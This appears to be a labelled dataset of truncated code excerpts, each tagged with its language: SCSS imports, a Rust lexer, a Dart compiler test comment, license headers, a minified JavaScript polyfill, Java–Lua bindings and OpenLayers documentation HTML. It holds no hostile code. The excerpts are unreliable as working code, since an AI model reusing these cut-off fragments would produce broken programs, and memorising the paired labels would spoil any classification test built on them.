@import '../Azurra/widgets/actionbar'; @import '../Azurra/widgets/searchbar'; @import '../Azurra/widgets/app_notifications'; @import '../macOS/widgets/osd'; @import 'widgets/destructive_button'; @import 'widgets/suggested_button'; @import '../Azurra/widgets/headerbar_suggested_button'; @import '../Azurra/widgets/select...
CSS
n(TokenType::TokenStar, scanner), x if x == '!' => { if matchCharacter('=', scanner) { return Make_Token(TokenType::TokenBangEqual, scanner); } return Make_Token(TokenType::TokenBang, scanner); } x if x == '=' => ...
Rust
x + 1); // Foo should be entirely replaced by Uint32 operations. Running with // --trace-integer-ir-selection should result in: // CheckStackOverflow:4() // v22 <- UnboxUint32:14(v2) // v24 <- UnboxUint32:14(v3) // v6 <- BinaryUint32Op:14(+, v22 , v24 ) // v26 <- UnboxUint32:22(v4) // v8 <- BinaryUin...
Dart
/* * Copyright 2016-present Facebook, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or a...
C
* the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Non-free licenses may also be purchased from INFORION, LLC, * for users who do not want their programs protected by the GPL. * Contact us for details kopycat@inforion.ru * * This program is distributed...
Kotlin
r=n(10),o=n(16),i=/#|\.prototype\./,a=function(t,e){var n=u[s(t)];return n==f||n!=c&&(o(e)?r(e):!!e)},s=a.normalize=function(t){return String(t).replace(i,".").toLowerCase()},u=a.data={},c=a.NATIVE="N",f=a.POLYFILL="P";t.exports=a},function(t,e,n){var r=n(10);t.exports=!r((function(){function t(){}return t.prototype.c...
HTML
册全局函数 // 提示信息 lua.push(L -> { String msg = L.toString(1); Utility.sendClientNotify(msg); return 0; // 返回值数量 }); lua.setGlobal("notify"); // 设置语言 lua.push(L -> { String name = L.toStri...
Java
.deactivate" id=link563 onMouseOver="ShowTip(event, 'tt563', 'link563')" onMouseOut="HideTip('tt563')" class=IParent>OpenLayers.<wbr>Control.<wbr>Geolocate</a><a href="../files/OpenLayers/Control/GetFeature-js.html#OpenLayers.Control.GetFeature.deactivate" id=link564 onMouseOver="ShowTip(event, 'tt564', 'link564')" onM...
HTML